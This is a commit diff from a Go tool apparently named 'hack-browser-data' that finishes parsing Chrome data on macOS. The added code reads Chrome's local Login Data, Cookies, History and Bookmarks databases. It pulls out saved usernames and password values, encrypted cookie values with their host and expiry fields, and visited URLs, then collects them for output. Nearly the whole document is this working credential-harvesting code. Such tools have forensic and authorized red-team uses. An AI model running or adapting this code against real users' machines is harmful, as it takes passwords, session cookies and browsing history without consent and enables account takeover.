finish macOS Chrome parse

ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 7599517307
commit 5217c29e3e
  1. 89
      core/common/common.go
  2. 8
      main.go
  3. 9
      utils/utils.go

@ -2,7 +2,6 @@ package common
import ( import (
"database/sql" "database/sql"
"fmt"
"hack-browser-data/log" "hack-browser-data/log"
"hack-browser-data/utils" "hack-browser-data/utils"
"time" "time"
@ -17,9 +16,11 @@ const (
) )
var ( var (
browserData = new(BrowserData) FullData = new(BrowserData)
bookmarkList []*Bookmarks bookmarkList []*Bookmarks
cookieList []*Cookies cookieList []*Cookies
historyList []*History
loginItemList []*LoginData
) )
const ( const (
@ -31,15 +32,13 @@ const (
bookmarkChildren = "children" bookmarkChildren = "children"
) )
const (
queryHistory = ``
)
type ( type (
BrowserData struct { BrowserData struct {
BrowserName string BrowserName string
LoginData []*LoginData LoginData []*LoginData
Bookmarks []*Bookmarks Bookmarks []*Bookmarks
Cookies []*Cookies
History []*History
} }
LoginData struct { LoginData struct {
UserName string `json:"user_name"` UserName string `json:"user_name"`
@ -69,25 +68,24 @@ type (
ExpireDate time.Time ExpireDate time.Time
} }
History struct { History struct {
Url string
Title string
VisitCount int
LastVisitTime time.Time
} }
) )
func ParseDB(dbname string) { func ParseDB(dbname string) {
switch dbname { switch dbname {
case utils.LoginData: case utils.LoginData:
r, err := parseLogin() parseLogin()
if err != nil {
fmt.Println(err)
}
for _, v := range r {
fmt.Printf("%+v\n", v)
}
case utils.Bookmarks: case utils.Bookmarks:
parseBookmarks() parseBookmarks()
case utils.Cookies: case utils.Cookies:
parseCookie() parseCookie()
case utils.History:
parseHistory()
} }
} }
func parseBookmarks() { func parseBookmarks() {
@ -102,13 +100,13 @@ func parseBookmarks() {
getBookmarkChildren(value) getBookmarkChildren(value)
return true return true
}) })
fmt.Println(len(bookmarkList))
} }
FullData.Bookmarks = bookmarkList
} }
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func parseLogin() (results []*LoginData, err error) { func parseLogin() {
//datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch') //datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
login := &LoginData{} login := &LoginData{}
loginDB, err := sql.Open("sqlite3", utils.LoginData) loginDB, err := sql.Open("sqlite3", utils.LoginData)
@ -148,13 +146,14 @@ func parseLogin() (results []*LoginData, err error) {
if err != nil { if err != nil {
log.Println(err) log.Println(err)
} }
results = append(results, login) loginItemList = append(loginItemList, login)
} }
return FullData.LoginData = loginItemList
} }
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
func parseCookie() (results []*Cookies, err error) {
func parseCookie() {
cookies := &Cookies{} cookies := &Cookies{}
cookieDB, err := sql.Open("sqlite3", utils.Cookies) cookieDB, err := sql.Open("sqlite3", utils.Cookies)
defer func() { defer func() {
@ -175,7 +174,7 @@ func parseCookie() (results []*Cookies, err error) {
for rows.Next() { for rows.Next() {
var ( var (
key, host, path, value string key, host, path, value string
isSecure, isHTTPOnly, hasExpire, isPersistent bool isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64 createDate, expireDate int64
encryptValue []byte encryptValue []byte
) )
@ -185,10 +184,10 @@ func parseCookie() (results []*Cookies, err error) {
Host: host, Host: host,
Path: path, Path: path,
encryptValue: encryptValue, encryptValue: encryptValue,
IsSecure: false, IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: false, IsHTTPOnly: utils.IntToBool(isHTTPOnly),
HasExpire: false, HasExpire: utils.IntToBool(hasExpire),
IsPersistent: isPersistent, IsPersistent: utils.IntToBool(isPersistent),
CreateDate: utils.TimeEpochFormat(createDate), CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate), ExpireDate: utils.TimeEpochFormat(expireDate),
} }
@ -199,11 +198,49 @@ func parseCookie() (results []*Cookies, err error) {
cookies.Value = value cookies.Value = value
cookieList = append(cookieList, cookies) cookieList = append(cookieList, cookies)
} }
return cookieList, err FullData.Cookies = cookieList
} }
func parseHistory() { var queryUrl = `SELECT url, title, visit_count, last_visit_time FROM urls`
func parseHistory() {
history := &History{}
historyDB, err := sql.Open("sqlite3", utils.History)
defer func() {
if err := historyDB.Close(); err != nil {
log.Println(err)
}
}()
if err != nil {
log.Println(err)
}
err = historyDB.Ping()
rows, err := historyDB.Query(queryUrl)
defer func() {
if err := rows.Close(); err != nil {
log.Println(err)
}
}()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
history = &History{
Url: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
}
if err != nil {
log.Println(err)
continue
}
historyList = append(historyList, history)
}
FullData.History = historyList
} }
func getBookmarkChildren(value gjson.Result) (children gjson.Result) { func getBookmarkChildren(value gjson.Result) (children gjson.Result) {

@ -26,8 +26,8 @@ func parse() {
case "windows": case "windows":
fmt.Println("Windows") fmt.Println("Windows")
} }
//chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.BookMarks, utils.Cookies, utils.WebData) chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
chromePath, err := utils.GetDBPath(utils.Cookies) //chromePath, err := utils.GetDBPath(utils.Cookies)
if err != nil { if err != nil {
log.Error("can't find chrome.app in OS") log.Error("can't find chrome.app in OS")
} }
@ -40,4 +40,8 @@ func parse() {
} }
common.ParseDB(dst) common.ParseDB(dst)
} }
fmt.Println("bookmarks", len(common.FullData.Bookmarks))
fmt.Println("cookies", len(common.FullData.Cookies))
fmt.Println("login data", len(common.FullData.LoginData))
fmt.Println("history", len(common.FullData.History))
} }

@ -12,7 +12,6 @@ const (
LoginData = "Login Data" LoginData = "Login Data"
History = "History" History = "History"
Cookies = "Cookies" Cookies = "Cookies"
WebData = "Web Data"
Bookmarks = "Bookmarks" Bookmarks = "Bookmarks"
) )
@ -46,6 +45,14 @@ func RemoveFile() {
} }
func IntToBool(a int) bool {
switch a {
case 0, -1:
return false
}
return true
}
func TimeEpochFormat(epoch int64) time.Time { func TimeEpochFormat(epoch int64) time.Time {
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
d := time.Duration(epoch) d := time.Duration(epoch)

Loading…
Cancel
Save